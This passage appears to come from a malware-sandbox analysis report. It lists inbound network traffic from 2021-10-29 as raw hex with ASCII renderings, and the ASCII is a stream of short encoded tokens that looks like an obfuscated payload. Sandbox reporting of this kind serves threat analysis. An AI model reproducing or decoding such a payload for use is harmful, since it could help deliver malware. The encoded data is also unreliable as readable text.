6d 20 71 71 45 20 71 4f 70 20 58 58 20 6d 57 20 6d 58 20 57 4f 20 44 4f 20 4a 6d 44 20 58 45 20 4d 58 20 70 71 20 71 20 
57 4f 20 6d 58 20 44 44 20 44 58 20 4a 57 71 20 71 71 6d 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 
44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 4a 20 44 58 20 71 6d 45 20 
71 71 6d 20 71 71 45 20 4a 4d 20 4a 20 57 70 20 6d 4d 20 57 4f 20 45 4f 20 6d 4a 20 71 4f 58 20 71 71 45 20 71 4f 4d 20 
71 4a 4a 20 4a 44 20 6d 45 20 57 4f 20 57 6d 20 4d 6d 20 4a 4f 
Data Ascii: WD pM pE mE JqE mJ qqE qOM qqp Jp pX Dm WW Xm qqm W pq mq WO mX DD EJ Em qqm qqE qOp XX 
mW mX WO DO JmD XE MX pq q WO mX DD DX JWq qqm qqE JM qm mm mX WO DO qJm qOM qqE qOM qJJ qmm 
Jq mJ DX qmE qqm qqE JM J Wp mM WO EO mJ qOX qqE qOM qJJ JD mE WO Wm Mm JO

2021-10-29 15:55:26 UTC 8 IN Data Raw: 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 71 71 6d 20 57 4f 20 6d 58 20 4a 57 20 58 4d 20 71 71 4a 20 71 71 57 
20 71 71 45 20 71 4f 45 20 4d 45 20 57 57 20 70 70 20 57 6d 20 4a 4f 4f 20 58 4a 20 71 44 6d 20 71 71 44 20 71 4f 4d 20 
71 71 58 20 44 57 20 70 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 20 71 70 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 71 20 
70 71 20 70 70 20 71 71 6d 20 71 4a 20 71 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 4f 44 20 57 4a 20 4a 70 57 20 
58 57 20 71 71 6d 20 71 71 57 20 70 4f 20 4d 57 20 57 4f 20 6d 58 20 57 44 20 71 4d 20 4a 71 4a 20 71 6d 4f 20 71 71 45 
20 71 4f 4d 20 71 71 44 20 4a 44 20 57 71 20 57 4f 20 57 6d 20 71 4a 45 20 4a 4d 20 4d 57 20 71 4f 58 20 71 71 4a 20 57 
4a 20 70 70 20 57 57 20 70 4d 20 58 4f 20 71 6d 4f 20 71 71 
Data Ascii: m qqm qqp DM qqm WO mX JW XM qqJ qqW qqE qOE ME WW pp Wm JOO XJ qDm qqD qOM qqX DW pO 
WO Wm Mm qJ qpM qOM qqJ Wm Jq pq pp qqm qJ qmJ qOM qqJ Wm JOD WJ JpW XW qqm qqW pO MW WO mX WD 
qM JqJ qmO qqE qOM qqD JD Wq WO Wm qJE JM MW qOX qqJ WJ pp WW pM XO qmO qq

2021-10-29 15:55:26 UTC 9 IN Data Raw: 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 45 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4d 20 57 
70 20 70 4f 20 71 71 4f 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 70 20 57 70 20 57 6d 20 44 70 20 4a 70 57 20 71 4a 45 
20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 57 44 20 57 4f 20 57 6d 20 58 4a 20 71 4a 44 20 71 71 6d 
20 70 4f 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4a 20 70 45 20 58 4f 20 4d 4d 20 71 71 70 20 71 71 70 20 4a 57 70 20 71 4f 
6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 4a 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 
57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 70 57 20 58 6d 20 71 71 6d 20 7
1 71 57 20 45 57 20 71 4f 4a 20 70 70 20 57 70 20 71 4f 20 4a 70 
Data Ascii:  DW X WO Wm Mm MO ED qOM qqJ WD WM Wp pO qqO qqm qqE qOp Mp Wp Wm Dp JpW qJE qqW qqE 
qOM qqm JD WD WO Wm XJ qJD qqm pO JqM WO mX WJ pE XO MM qqp qqp JWp qOm mX WO WW qqp qDJ JJJ 
qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qpW Xm qqm qqW EW qOJ pp Wp qO Jp

2021-10-29 15:55:26 UTC 10 IN Data Raw: 57 4a 20 57 6d 20 58 6d 20 71 71 6d 20 70 58 20 71 4f 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 57 6d 
20 58 6d 20 71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 
71 57 20 71 4f 4d 20 57 4a 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 4f 4f 20 70 4f 20 45 4d 20 57 
4f 20 6d 58 20 57 44 20 44 4f 20 58 44 20 71 71 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 
4f 20 71 6d 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 
45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 6d 20 44 4d 20 45 6d 20 57 4f 
20 6d 58 20 57 44 20 4a 45 20 58 70 20 71 71 44 20 71 4a 4f 
Data Ascii: WJ Wm Xm qqm pX qOX qqJ WO qOW Wq Wm Xm qqp qqE qOM qqJ Dq mX WO WW EM DD qqW qOM WJ 
mX mX WO Wp Xm qqm qOO pO EM WO mX WD DO XD qqq JmX WW qqJ WO mM Jp JpO qmO qqm qqE qOW XX W 
mX WO DO pM Em qqE qOM qJJ JD M WO Wm Mm qJq qqm DM Em WO mX WD JE Xp qqD qJO

2021-10-29 15:55:26 UTC 12 IN Data Raw: 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 4a 71 6d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 
20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 
20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 45 4a 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 58 70 20 4d 
4d 20 71 71 70 20 71 4a 6d 20 71 71 45 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 
45 4a 20 71 44 4f 20 71 57 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 
57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 4a 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 44 20 4a 44 20 6d 58 
20 58 6d 20 71 71 6d 20 71 71 57 20 4a 20 45 6d 20 57 71 20 6d 
Data Ascii: qqE qOX XW JJD Jqm WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp 
Xm qqm qJE J EJ Wq mX WJ pM Xp MM qqp qJm qqE mW Dp qMq qOX Xm qqm qqD EJ qDO qWW mX WO WO qJm 
DM qqE qOM qJJ DW X WO Wm Mm JM JqE qOM qqJ WJ WD JD mX Xm qqm qqW J Em Wq m

2021-10-29 15:55:26 UTC 13 IN Data Raw: 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 70 4a 20 57 4f 20 57 6d 20 58 4f 20 
4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 
71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 4d 20 70 57 20 57 
57 20 6d 70 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 57 4d 20 57 4f 20 57 
6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 
20 6d 57 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 6d 71 20 44 4d 20 71 71 45 20 71 4f 58 20 4a 4a 6d 20 6d 4a 20 57 4f 
20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 6d 6d 20 71 71 45 
Data Ascii:  qm qqm qqE qOX XW JJD qpJ WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm 
Mp qp Xm qqm qJE qJD qqM pW WW mp qXE qm qqm qqE qOX XW JJD qWM WO Wm XO MO DD qOM qqJ WD DE 
qO Wm Xm qJO JD mW qqJ WO WX pq mq DM qqE qOX JJm mJ WO mX Wq qM qpJ qmm qqE

2021-10-29 15:55:26 UTC 14 IN Data Raw: 44 4d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 4f 4f 20 70 70 20 57 6d 20 70 57 20 57 4f 20 44 4d 20 71 71 
4d 20 71 4f 44 20 71 4a 4f 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 57 45 20 71 
4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 
4d 70 20 71 57 6d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 71 20 58 58 20 57 4a 20 6d 58 20 57 4f 20 6d 58 20 70 58 
20 71 20 71 71 4d 20 71 4f 4d 20 4f 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4f 44 20 71 4f 4d 20 71 
71 4a 20 57 44 20 70 57 20 57 70 20 44 4d 20 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4d 20 57 58 20 70 70 20 
57 58 20 70 4d 20 58 4f 20 4d 4d 20 71 71 4a 20 71 71 6d 20 71 
Data Ascii: DM qqW qqE qOM qOO pp Wm pW WO DM qqM qOD qJO JWp qOm mX WO WW qqp qDJ qWE qOM qqJ 
Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qWm Xm qqm qqW qOq XX WJ mX WO mX pX q qqM qOM O ED mD 
WO Wm Mm JM qOD qOM qqJ WD pW Wp DM qD qqW qqE qOE MM WX pp WX pM XO MM qqJ qqm q

2021-10-29 15:55:26 UTC 16 IN Data Raw: 71 71 6d 20 71 4a 45 20 71 71 6d 20 44 20 71 20 6d 4a 20 6d 58 20 70 70 20 57 4d 20 58 57 20 71 71 45 20 
71 4f 4d 20 71 4a 4a 20 6d 57 20 71 20 71 20 57 45 20 58 45 20 4d 4f 20 44 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4f 
20 4a 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 70 20 4d 71 20 44 4f 20 57 4f 20 70 44 20 70 6d 20 71 4a 6d 
20 58 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4d 70 20 71 71 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 45 71 20 71 
71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 
57 6d 20 57 4f 20 70 20 71 71 71 20 71 71 6d 20 71 71 58 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 70 70 20 44 20 58 
44 20 71 71 6d 20 58 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 
Data Ascii: qqm qJE qqm D q mJ mX pp WM XW qqE qOM qJJ mW q q WE XE MO DJ qOM qqJ WD WO JD mO Xm 
qqm qqW qOp Mq DO WO pD pm qJm Xm qqE qOM qqX Mp qq WO Wm Mm qJO qEq qqO XD JpD mX WJ JX XW MX 
qqE qOM qqJ WO Wm WO p qqq qqm qqX MX qqJ WO mM pp D XD qqm XJ qOM qqJ WO W

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 17 IN Data Raw: 4f 71 20 71 71 4a 20 57 4f 20 4a 45 20 4d 70 20 4a 6d 58 20 58 57 20 71 71 6d 20 71 71 57 20 4a 20 71 44 71 
20 57 71 20 6d 58 20 57 4a 20 44 4f 20 71 70 58 20 71 71 70 20 58 70 20 71 45 4d 20 71 71 4a 20 4a 70 44 20 57 71 20 
4a 4f 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 70 20 44 20 57 6d 20 58 6d 20 
71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 45 20 6d 4d 20 57 4f 20 57 6d 20 45 44 20 71 71 6d 20 71 71 45 20 
71 4f 4d 20 58 70 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 
6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 71 20 57 6d 20 
58 6d 20 4d 4f 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 
Data Ascii: Oq qqJ WO JE Mp JmX XW qqm qqW J qDq Wq mX WJ DO qpX qqp Xp qEM qqJ JpD Wq JO JpJ Xm qqD 
MW qOM qqJ WO qqp D Wm Xm qqm qqE qOM qqJ WE mM WO Wm ED qqm qqE qOM Xp Wq mX WO Wp Xm qqm 
qqE MX qqJ WO mM WO Wm Xm qqm qJq qOM qqJ WO mm Wq Wm Xm MO qqD qOM qqJ mM 

2021-10-29 15:55:26 UTC 18 IN Data Raw: 20 6d 4f 20 71 71 6d 20 4d 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 
6d 20 4a 6d 4d 20 4a 57 57 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 
71 71 4a 20 71 71 6d 20 6d 4d 20 57 4f 20 57 6d 20 4d 57 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 4a 71 20 6d 
4d 20 57 4f 20 6d 58 20 4d 6d 20 71 71 4a 20 4a 44 20 57 4a 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4f 4d 20 58 6d 
20 71 71 6d 20 71 4a 45 20 71 4f 4a 20 45 4a 20 71 6d 57 20 6d 58 20 57 4f 20 57 6d 20 58 70 20 4a 4d 20 71 4a 4a 20 
71 4f 4d 20 71 71 4a 20 57 44 20 44 58 20 70 45 20 57 6d 20 58 6d 20 71 71 57 20 71 4a 71 20 71 4f 71 20 70 71 20 71 7
1 4f 20 6d 58 20 57 4f 20 44 4f 20 70 58 20 4a 6d 45 20 71 71 4d 
Data Ascii:  mO qqm ME qOM qqJ WO mX WO Wm XJ qqm JmM JWW qqJ mM WX WO Wm XW qOW DM qOW qqJ 
qqm mM WO Wm MW qqm qqE qJm p qJq mM WO mX Mm qqJ JD WJ qqJ WO WX Mp qOM Xm qqm qJE qOJ EJ qmW 
mX WO Wm Xp JM qJJ qOM qqJ WD DX pE Wm Xm qqW qJq qOq pq qqO mX WO DO pX JmE qqM

2021-10-29 15:55:26 UTC 20 IN Data Raw: 20 71 4f 4d 20 71 71 4a 20 70 57 20 44 45 20 6d 70 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4a 45 20 71 71 71 20 
71 6d 20 6d 58 20 6d 4d 20 57 4f 20 57 4f 20 71 71 70 20 4d 57 20 4d 58 20 45 57 20 71 6d 20 57 71 20 6d 4d 20 57 4f 20 
57 4f 20 71 45 4f 20 71 71 44 20 71 57 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 44 45 20 6d 4f 20 57 6d 20 58 6d 20 71 4a 
4f 20 58 4f 20 4a 70 45 20 71 71 6d 20 57 71 20 6d 58 20 57 6d 20 70 4f 20 58 57 20 71 71 6d 20 71 71 45 20 45 4f 20 70 
71 20 6d 44 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 45 6d 20 44 6d 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 57 20 4d 70 20 
6d 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4d 45 20 71 4a 4f 20 6d 4a 20 70 4d 20 70 45 20 71 58 45 20 71 4a 20 71 71 
6d 20 71 71 45 20 71 4f 58 20 58 57 20 70 44 20 6d 45 20 6d 
Data Ascii:  qOM qqJ pW DE mp Wm Xm qJO qJE qqq qm mX mM WO WO qqp MW MX EW qm Wq mM WO WO qEO 
qqD qWq qOX qqJ WJ DE mO Wm Xm qJO XO JpE qqm Wq mX Wm pO XW qqm qqE EO pq mD mX WO DO MW Em 
Dm qOX qqJ WO WW Mp mp Xm qqm qJE ME qJO mJ pM pE qXE qJ qqm qqE qOX XW pD mE m

2021-10-29 15:55:26 UTC 21 IN Data Raw: 4f 20 57 6d 20 71 70 58 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 6d 4f 20 57 71 20 6d 58 20 57 4f 20 57 44 20 
58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 45 4a 
20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 45 20 57 71 20 57 6d 20 58 6d 20 4a 44 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 
4d 20 6d 58 20 57 4f 20 57 6d 20 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 71 6d 20 57 4f 20 6d 58 20 57 4f 20 45 
20 58 6d 20 71 71 6d 20 71 71 45 20 6d 4a 20 71 71 70 20 57 4f 20 6d 58 20 45 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 
4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 
4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 6d 4a 20 71 71 57 
Data Ascii: O Wm qpX qqm qqE qOM mO Wq mX WO WD Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm EJ qOM qqJ 
WO JE Wq Wm Xm JD qqD qOM qqJ mM mX WO Wm Mm qqm qqE qOX qqm WO mX WO E Xm qqm qqE mJ qqp WO 
mX Em WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm mJ qqW

2021-10-29 15:55:26 UTC 22 IN Data Raw: 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 
20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 
4d 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4d 58 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 4a 20 57 44 20 70 
57 20 57 4f 20 45 58 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 4f 58 20 58 6d 20 
71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 
70 20 70 71 20 71 57 58 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 45 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 
58 20 57 71 20 57 6d 20 58 4a 20 4d 4d 20 71 71 57 20 71 4f 71 
Data Ascii: m XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE DM mM WO mX 
WD XM MX qqW qqE qOE ME WJ WD pW WO EX JWW mE qOM qqJ Wq Jq JJD JOX Xm qqm qqp DM Eq WO mX WD 
DM qOX qqm qqE qOp pq qWX mX WO mX WM Ep qqE qOM qJJ Mp X Wq Wm XJ MM qqW qOq

2021-10-29 15:55:26 UTC 24 IN Data Raw: 58 20 6d 6d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 71 6d 20 71 71 4a 20 57 4f 20 57 58 20 70 6d 20 57 
6d 20 58 44 20 71 4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 45 57 20 6d 44 20 4a 
70 4a 20 71 4a 4a 20 70 71 20 58 57 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 71 71 45 20 71 4f 4d 20 4a 6d 45 20 71 71 4f 
20 71 4d 71 20 71 4f 44 20 57 4f 20 57 6d 20 58 57 20 58 45 20 71 44 57 20 4a 6d 70 20 71 71 4a 20 57 4f 20 57 4a 20 4a 
44 20 71 20 58 6d 20 71 71 6d 20 71 4a 45 20 70 4f 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 4d 20 71 71 6d 20 71 
71 45 20 71 4f 70 20 4d 4a 20 57 4a 20 57 57 20 70 45 20 71 45 4a 20 4d 6d 20 58 4d 20 71 71 70 20 71 4f 44 20 71 4f 4a 
20 71 44 58 20 57 58 20 4a 70 44 20 57 70 20 71 71 6d 20 71 
Data Ascii: X mm Wm Xm qJO JD qqm qqJ WO WX pm Wm XD qOq JmX WW qqJ WO mM Jp pJ EW mD JpJ qJJ pq XW 
mX WO DO MW qqE qOM JmE qqO qMq qOD WO Wm XW XE qDW Jmp qqJ WO WJ JD q Xm qqm qJE pO EJ WO mX 
WD pO M qqm qqE qOp MJ WJ WW pE qEJ Mm XM qqp qOD qOJ qDX WX JpD Wp qqm q

2021-10-29 15:55:26 UTC 25 IN Data Raw: 20 58 45 20 71 44 57 20 71 44 4a 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 20 58 6d 20 71 71 6d 20 71 4a 
45 20 70 4f 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 44 58 20 6d 4d 20 71 71 70 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 
20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4d 4a 20 57 4f 20 57 
6d 20 4d 6d 20 4a 4d 20 6d 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 57 20 57 45 20 70 4d 20 4d 6d 20 4d 4f 20 45 70 
20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4d 20 4d 4a 20 70 4d 20 4d 57 20 4d 4f 20 45 70 20 71 4f 4d 20 71 71 4a 20 57 44 
20 4a 4d 20 58 45 20 70 4f 20 57 4a 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 45 20 57 44 20 4a 6d 20 71 4a 71 20 57 6
d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4a 20 71 71 4a 20 57 4f 20 
Data Ascii:  XE qDW qDJ qqJ WO WJ JD q Xm qqm qJE pO EJ WO mX WD DX mM qqp qqE JM qm mm mX WO DO 
qJm qOM qqE qOM qJJ Mp MJ WO Wm Mm JM mp qOM qqJ WD pW WE pM Mm MO Ep qOM qqJ WD JM MJ pM MW 
MO Ep qOM qqJ WD JM XE pO WJ qqm qqE qOp ME WD Jm qJq Wm Xm qJO JD qJ qqJ WO 

2021-10-29 15:55:26 UTC 26 IN Data Raw: 45 20 4d 4f 20 44 58 20 57 4f 20 4a 44 20 70 57 20 58 6d 20 71 71 6d 20 71 71 57 20 70 71 20 58 57 20 57 6d 
20 6d 58 20 44 44 20 70 4f 20 71 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 58 20 57 44 20 6d 58 20 57 4f 20 4a 4d 
20 58 45 20 71 71 58 20 4a 44 20 71 70 70 20 71 71 70 20 57 4f 20 57 6d 20 4a 6d 20 57 6d 20 45 71 20 44 44 20 71 4a 
44 20 71 4f 4d 20 4d 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 58 20 70 
4d 20 6d 58 20 57 4f 20 6d 58 20 70 58 20 6d 57 20 71 71 70 20 71 4f 4d 20 4f 20 4a 44 20 4a 70 70 20 57 4f 20 57 6d 20 
58 4a 20 4d 4f 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 4a 57 20 57 71 20 57 6d 20 57 71 20 4d 4f 20 71 71 58 20 71 4a 70 
20 71 4f 6d 20 71 4a 44 20 57 4a 20 44 4a 20 57 70 20 57 44 
Data Ascii: E MO DX WO JD pW Xm qqm qqW pq XW Wm mX DD pO qmq qqm qqE qOE XX WD mX WO JM XE qqX JD 
qpp qqp WO Wm Jm Wm Eq DD qJD qOM MJ WO mX WO Wm Xm qqm qqE qqq XX pM mX WO mX pX mW qqp qOM O 
JD Jpp WO Wm XJ MO qJD qOM qqJ JW Wq Wm Wq MO qqX qJp qOm qJD WJ DJ Wp WD
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2021-10-29 15:55:26 UTC 28 IN Data Raw: 4d 20 71 4f 45 20 71 58 45 20 44 4f 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 4a 57 20 57 70 20 57 57 20 71 
58 58 20 4d 57 20 45 57 20 4d 58 20 6d 6d 20 71 4f 71 20 71 4f 4a 20 6d 57 20 70 4a 20 4a 44 20 58 4d 20 58 6d 20 71 
71 6d 20 71 4a 45 20 71 4f 44 20 71 4f 4a 20 57 4d 20 70 58 20 57 70 20 71 58 6d 20 44 71 20 71 4a 4a 20 4a 57 71 20 
6d 20 6d 71 20 4a 44 20 4d 57 20 57 4f 20 57 6d 20 4d 6d 20 71 20 71 4f 4a 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 71 20 
57 4a 20 70 6d 20 4d 70 20 71 4a 4a 20 4a 44 20 45 45 20 71 71 4a 20 57 4f 20 57 6d 20 70 70 20 57 4f 20 71 70 58 20 7
1 71 4d 20 58 70 20 71 45 4d 20 71 71 4a 20 70 58 20 4a 44 20 70 57 20 57 4f 20 71 4a 44 20 71 71 6d 20 71 71 45 20 71 
4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 45 6d 20 71 
Data Ascii: M qOE qXE DO qqm qqE qOX qJW Wp WW qXX MW EW MX mm qOq qOJ mW pJ JD XM Xm qqm qJE qOD 
qOJ WM pX Wp qXm Dq qJJ JWq m mq JD MW WO Wm Mm q qOJ qOM qqJ WJ Wq WJ pm Mp qJJ JD EE qqJ WO Wm 
pp WO qpX qqM Xp qEM qqJ pX JD pW WO qJD qqm qqE qOX MD WO mX WO Wm Em q

2021-10-29 15:55:26 UTC 29 IN Data Raw: 70 4d 20 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4a 20 4a 6d 20 45 71 20 57 6d 20 58 6d 20 71 4a 4f 20 
71 71 4a 20 4a 20 4f 20 57 4f 20 6d 58 20 57 44 20 44 71 20 58 44 20 71 71 44 20 45 20 4a 6d 4f 20 71 71 45 20 57 4f 20 
44 6d 20 57 70 20 6d 4d 20 4a 71 58 20 4a 45 20 4d 4d 20 44 4d 20 71 4f 45 20 57 4f 20 6d 58 20 57 4a 20 4a 44 20 58 
4a 20 71 20 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 45 6d 20 57 4a 20 4a 58 20 45 71 20 44 44 20 71 4a 45 20 71 4f 4d 
20 4a 6d 71 20 57 4f 20 6d 58 20 57 4f 20 70 57 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 57 20 44 6d 20 71 
70 57 20 57 57 20 57 6d 20 70 44 20 4d 4f 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 70 58 20 4a 44 20 44 4d 20 58 6
d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 71 71 58 20 4a 44 20 45 
Data Ascii: pM p qqE qOM qJJ EJ Jm Eq Wm Xm qJO qqJ J O WO mX WD Dq XD qqD E JmO qqE WO Dm Wp mM JqX 
JE MM DM qOE WO mX WJ JD XJ q m qOM qqJ WD Em WJ JX Eq DD qJE qOM Jmq WO mX WO pW Xm qqm qOO 
qqq qqW Dm qpW WW Wm pD MO Xq qOM qqJ WJ pX JD DM Xm qqm qJE qOp qqX JD E

2021-10-29 15:55:26 UTC 30 IN Data Raw: 6d 20 4a 6d 20 58 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20 6d 58 20 
57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 
20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 
